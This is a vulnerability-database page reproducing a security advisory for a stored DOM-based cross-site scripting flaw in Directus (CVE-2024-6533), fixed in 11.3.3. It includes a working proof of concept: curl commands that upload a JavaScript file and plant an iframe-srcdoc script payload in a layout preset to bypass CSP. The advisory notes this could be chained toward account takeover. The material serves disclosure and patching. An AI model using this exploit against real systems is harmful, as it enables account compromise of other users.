GHSA-9QRM-48QF-R2RW

Vulnerability from github – Published: 2025-01-23 22:36 – Updated: 2026-08-14 19:11
VLAI
Summary
Directus has a DOM-Based cross-site scripting (XSS) via layout_options
Details

Impact

Directus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.

PoC

To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.

  1. Upload the following JavaScript file.

Using the upload functionality at POST /files. This PoC will show an alert message.

export TARGET_HOST="http://localhost:8055"
export ATTACKER_EMAIL="malicious@malicious.com"
export ATTACKER_PASSWORD="123456"
root_dir=$(dirname $0)
mkdir "${root_dir}/static"

curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \
    -c "${root_dir}/static/attacker_directus_session_token" \
    -H 'Content-Type: application/json' \
    -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}"

id_url_file=$(echo "alert('Successful DOM-based XSS')" |
  curl -s -k -X 'POST' "${TARGET_HOST}/files" \
    -b "${root_dir}/static/attacker_directus_session_token" \
    -F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id")
  1. Create a preset for a collection and store the preset ID.

Or use a preset already created from GET /presets. The following example uses the direct_users preset.

attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"

When the user visits the view that uses the directus_users preset, the JavaScript file will be executed.

Notes:

Need to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is <iframe srcdoc=\"<script src='URL_MALICIOUS_FILE'> </script>\">.

We can target any collection that uses the vulnerable template structure that renders the layout option section.

In this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "directus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-6533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-23T22:36:50Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X \u0027POST\u0027 \"${TARGET_HOST}/auth/login\" \\\n    -c \"${root_dir}/static/attacker_directus_session_token\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert(\u0027Successful DOM-based XSS\u0027)\" |\n  curl -s -k -X \u0027POST\u0027 \"${TARGET_HOST}/files\" \\\n    -b \"${root_dir}/static/attacker_directus_session_token\" \\\n    -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X \u0027POST\u0027 \"${TARGET_HOST}/presets\" \\ -H \u0027Content-Type: application/json\u0027 \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"\u003ciframe srcdoc=\\\\\\\"\u003cscript src=\u0027http://localhost:8055/assets/${id_url_file}\u0027\u003e \u003c/script\u003e\\\\\\\"\u003e\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nWhen the user visits the view that uses the directus_users preset, the JavaScript file will be executed.\n\nNotes:\n\nNeed to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `\u003ciframe srcdoc=\\\"\u003cscript src=\u0027URL_MALICIOUS_FILE\u0027\u003e \u003c/script\u003e\\\"\u003e`.\n\nWe can target any collection that uses the vulnerable template structure that renders the layout option section.\n\nIn this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.",
  "id": "GHSA-9qrm-48qf-r2rw",
  "modified": "2026-08-14T19:11:38Z",
  "published": "2025-01-23T22:36:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/directus/directus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Directus has a DOM-Based cross-site scripting (XSS) via layout_options"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.